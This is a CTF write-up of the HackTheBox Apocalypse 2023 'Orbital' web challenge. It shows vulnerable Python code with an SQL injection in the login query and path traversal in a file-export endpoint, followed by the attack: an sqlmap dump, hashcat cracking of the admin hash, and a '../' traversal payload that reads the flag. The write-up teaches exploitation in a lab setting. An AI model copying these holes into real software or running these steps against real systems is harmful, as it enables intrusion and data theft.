Featured image of post Write-Up Orbital HackTheBox Apocalypse 2023

Write-Up Orbital HackTheBox Apocalypse 2023

Write-up of an easy web challenge that I solved during the HTB Apocalypse CTF.

Description

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

Write-Up

When we start the docker and go to the IP provided by the challenge, we arrive directly on a login page.

Home page

Having the python source code available, we have to start a code review. As I only have the login page available, I am looking for the function to manage authentication.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False

We realise that the username is passed in the SQL query without any verification. I am not very good at SQL injection so I am going tu use SQLmap. The best way to do it is by dumping a login request from BurpSuite and to pass it to SQLmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
~ cat request.txt
POST /api/login HTTP/1.1
Host: 64.227.41.83:32697
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://64.227.41.83:32697
Referer: http://64.227.41.83:32697/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"test","password":"test"}
1
~ sqlmap.py -r request.txt --dump

We manage to dump the MD5 hash of the admin’s password, then we just have to brute force it with hashcat for example.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
hashcat -m 0 hash ../HTB/rockyou.txt
hashcat (v6.2.5) starting

Dictionary cache hit:
* Filename..: ../HTB/rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387

1692b753c031f2905b89e7258dbc49bb:ichliebedich

Session..........: hashcat
Status...........: Cracked

So credentials are admin:ichliebedich

We then arrive on a page that appears to be a control dashboard.

Dashboard

From the source code, we see antoher authenticated endpoint :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400

It is easy to see that the code is vulnerable to a Local File Inclusion (LFI) so we just have to trigger the endpoint with a POST request with a body like this and the admin cookie :

1
2
3
{
    "name":"../../../../../signal_sleuth_firmware"
}

(In the Dockerfile we can see that the flag is in this file)

Flag

HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}

Built with Hugo
Theme Stack designed by Jimmy